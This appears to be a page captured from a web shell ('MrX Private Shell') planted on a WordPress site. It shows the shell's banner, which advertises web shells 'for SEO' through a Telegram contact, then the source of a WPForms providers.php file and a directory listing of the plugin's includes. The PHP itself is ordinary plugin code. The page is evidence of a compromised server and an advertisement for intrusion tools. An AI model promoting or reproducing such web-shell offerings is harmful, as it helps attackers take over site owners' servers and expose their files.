__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Helper functions to work with Providers API.
*
* @since 1.8.0
*/
/**
* Get an array of all the active provider addons.
*
* @since 1.4.7
*
* @return array
*/
function wpforms_get_providers_available() {
return (array) apply_filters( 'wpforms_providers_available', [] );
}
/**
* Get options for all providers.
*
* @since 1.4.7
*
* @param string $provider Define a single provider to get options for this one only.
*
* @return array
*/
function wpforms_get_providers_options( $provider = '' ) {
$options = get_option( 'wpforms_providers', [] );
$provider = sanitize_key( $provider );
$data = $options;
if ( ! empty( $provider ) ) {
$data = $options[ $provider ] ?? [];
}
return (array) apply_filters( 'wpforms_get_providers_options', $data, $provider );
}
/**
* Update options for all providers.
*
* @since 1.4.7
*
* @param string $provider Provider slug.
* @param array|false $options If false is passed - provider will be removed. Otherwise saved.
* @param string $key Optional key to identify which connection to update. If empty - generate a new one.
*/
function wpforms_update_providers_options( $provider, $options, $key = '' ) {
$providers = wpforms_get_providers_options();
$id = ! empty( $key ) ? $key : uniqid();
$provider = sanitize_key( $provider );
if ( $options ) {
$providers[ $provider ][ $id ] = (array) $options;
} else {
unset( $providers[ $provider ] );
}
/**
* A collection of service providers used for dependency injection or service registration
* within the application.
*
* @since 1.9.6
*
* @param array $providers List of all registered providers.
* @param string $provider Provider slug.
* @param array $options Provider options data. If false - provider will be removed.
* @param string $id Provider connection ID.
*/
$providers = (array) apply_filters( 'wpforms_update_providers_options', $providers, $provider, $options, $id );
update_option( 'wpforms_providers', $providers );
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| access.php | File | 10.48 KB | 0640 |
|
| builder.php | File | 1.38 KB | 0640 |
|
| checks.php | File | 15.8 KB | 0640 |
|
| colors.php | File | 3.97 KB | 0640 |
|
| data-presets.php | File | 19.03 KB | 0640 |
|
| date-time.php | File | 2.82 KB | 0640 |
|
| debug.php | File | 5.22 KB | 0640 |
|
| education.php | File | 2.89 KB | 0640 |
|
| escape-sanitize.php | File | 13.9 KB | 0640 |
|
| filesystem-media.php | File | 6.6 KB | 0640 |
|
| form-fields.php | File | 16.92 KB | 0640 |
|
| forms.php | File | 13.52 KB | 0640 |
|
| list.php | File | 6.88 KB | 0640 |
|
| payments.php | File | 21.76 KB | 0640 |
|
| plugins.php | File | 2.38 KB | 0640 |
|
| privacy.php | File | 2.52 KB | 0640 |
|
| providers.php | File | 1.99 KB | 0640 |
|
| utilities.php | File | 8.54 KB | 0640 |
|